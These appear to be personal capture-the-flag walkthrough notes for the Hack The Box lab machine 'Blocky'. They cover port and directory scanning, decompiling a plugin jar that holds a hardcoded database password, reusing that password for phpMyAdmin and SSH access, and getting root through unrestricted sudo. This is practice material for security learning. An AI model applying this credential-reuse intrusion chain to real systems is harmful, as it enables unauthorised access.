BLOCKY NOTES

ip: 10.10.10.37

STEP1 - ENUMERATION

```
nmap -A -v -Pn blocky.htb > netsweep.txt

#OUTPUT
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5a
22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp   open   http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft &#8211; Under Construction!
```

ENUMERATE PORT 80

```
http://blocky.htb

#Notinhg interesting on the site, and also nothing interesting on the source code
```

DIRB

- using dirb tool to scan the website, to finde the directory structure and more pages to explore

```
dirb 10.10.10.37

#OUTPUT
#------
http://10.10.10.37/javascript # dead end, nothing here
http://10.10.10.37/phpmyadmin # phpadmin page cannot login with default
http://10.10.10.37/plugins # Two jar files found, need to download them, and decompile to check the source code
    * BlockyCore.jar
    * griefprevention-1.11.2-3.1.1.298.jar
```

- no jad installed on the system, so I used a online jad decompiler

```
http://www.javadecompilers.com/jad

#On The site
* javadecompilers
* Browse -> select files
* Upload and decode

#OUTPUT
```

```
    #------
    (...)
    public BlockyCore()
    {
        sqlHost = "localhost";
        sqlUser = "root";
        sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
    }
(...)
```

On The Browser

```
http://10.10.10.37/phpmyadmin
 # Credentials
 user: root
 password: 8YsqfCTnvxAUeduzjNSXe22
```

- Select **wordpress** database
- Select **wp_users** table

```
 # USER FOUND
 user: Notch
```

STEP 2 - EXPLOITATION

- We will try to get acces to the box using SSH and the already found credentials info

```
ssh notch@10.10.10.37
   #password: 8YsqfCTnvxAUeduzjNSXe22
```

- We have acess with NOTCH user

STEP 3 - Looking for user.txt

- Browse the system fot the user flag

```
ls -la

#OUTPUT
#-----

(...)

user.txt # we found user flag
cat user.txt

(...)
```

STEP 4 - Privesc Escalation

- let's find the better exploit tO get root privileges, first thing, check what type of commands can Notch can run as root, then become root user

```
sudo -l

#OUTPUT
#------
(...)
User notch may run the following commands on kali:
(ALL : ALL) ALL

#Can run all commands, so let's become root
sudo sudo
id
whoami
```

STEP 5 - Looking for root.txt

```
ls -la
cd /root
ls -la

#OUTPUT
#-----
(...)
root.txt # we found user flag
cat root.txt
```